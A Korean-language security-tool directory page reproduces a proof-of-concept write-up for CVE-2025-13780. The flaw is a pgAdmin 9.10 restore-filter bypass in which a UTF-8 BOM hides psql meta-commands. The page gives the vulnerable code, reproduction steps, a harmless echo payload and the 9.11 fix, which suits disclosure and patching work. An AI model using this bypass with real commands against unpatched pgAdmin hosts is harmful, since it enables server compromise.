Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pgadmin4-9.10-CVE-2025-13780 — CVE-2025-13780에 대한 개념 증명 | Kitploit
도구/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

CVE-2025-13780에 대한 개념 증명

저장소 보기
14119개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

pgadmin4 < 9.11 메타 명령 필터 명령 실행

요약

pgAdmin의 Issue 9320 수정의 일부로 도입된 PLAIN 복원 메타 명령 필터는 SQL 파일이 UTF-8 BOM(EF BB BF) 또는 다른 특수 시퀀스로 시작할 때 메타 명령을 감지하지 못합니다. 구현된 필터는 has_meta_commands() 함수를 사용하며, 정규 표현식으로 원시 바이트를 스캔합니다. 정규식은 해당 바이트를 무시 가능한 것으로 처리하지 않으므로 \!와 같은 메타 명령이 감지되지 않습니다. pgAdmin이 --file과 함께 psql을 호출하면 psql이 해당 바이트를 제거하고 명령을 실행합니다. 이로 인해 복원 작업 중 원격 명령 실행이 발생할 수 있습니다.

이 우회는 커밋 1d397395f75320ca1d4ed5e9ca721c603415e836(https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)에서 도입된 패치에 영향을 미칩니다.

영향을 받는 버전

확인된 영향:

  • pgAdmin 9.10 스냅샷
    커밋: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

영향 가능성:

  • 커밋 1d397395f75320ca1d4ed5e9ca721c603415e836의 패치된 를 포함한 모든 버전
has_meta_commands()

완화 방법

  • 9.11 이상: 일반 복원이 psql 제한 모드(\restrict)에서 실행되므로 메타 명령이 이제 psql 자체에 의해 차단됩니다.
  • 9.10: 필터 우회에 취약합니다.

세부 사항

위치:

  • web/pgadmin/tools/restore/__init__.py
  • 함수 has_meta_commands()

관련 코드 (패치된 버전):

root@kitploit:~
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

근본 원인:

  1. SQL 파일이 바이너리 모드로 열립니다.
  2. 정규식은 백슬래시 앞에 공백과 탭만 무시 가능한 것으로 처리합니다.
  3. 백슬래시 앞에 UTF-8 BOM(EF BB BF) 또는 유사한 시퀀스가 있으면 감지되지 않습니다.
  4. pgAdmin이 파일에 메타 명령이 없다고 잘못 결론을 내립니다.
  5. psql이 읽을 때 BOM을 제거하고 메타 명령을 정상적으로 실행합니다.

예상 동작:

  • BOM과 관계없이 메타 명령이 포함된 SQL 파일은 차단되어야 합니다.

실제 동작:

  • BOM 접두사가 붙은 메타 명령이 필터를 우회하여 실행을 허용합니다.

재현 단계

1단계: BOM과 메타 명령으로 시작하는 SQL 파일을 생성합니다.

root@kitploit:~
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

2단계: BOM 확인:

root@kitploit:~
xxd bypass_bom.sql | head -1

예상 결과:

root@kitploit:~
ef bb bf 5c 21 ...

3단계: 파일을 pgAdmin 스토리지에 배치:

root@kitploit:~
/var/lib/pgadmin/storage/<user>/bypass_bom.sql

4단계: pgAdmin에서: 복원 -> 형식: PLAIN -> bypass_bom.sql 선택 -> 실행

5단계: 실행 확인:

root@kitploit:~
ls /tmp/bom_ran

BOM이 없는 대조 파일은 정상적으로 차단됩니다.

개념 증명 (PoC)

BOM 접두사 페이로드:

root@kitploit:~
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

대조 페이로드:

root@kitploit:~
\\! echo SHOULD_BE_BLOCKED
SELECT 1;

영향

  • 메타 명령을 통한 명령 실행
  • 임의 파일 읽기/쓰기
  • 전체 pgAdmin 호스트 손상
  • 연결된 PostgreSQL 서버의 손상 가능성
도구 다운로드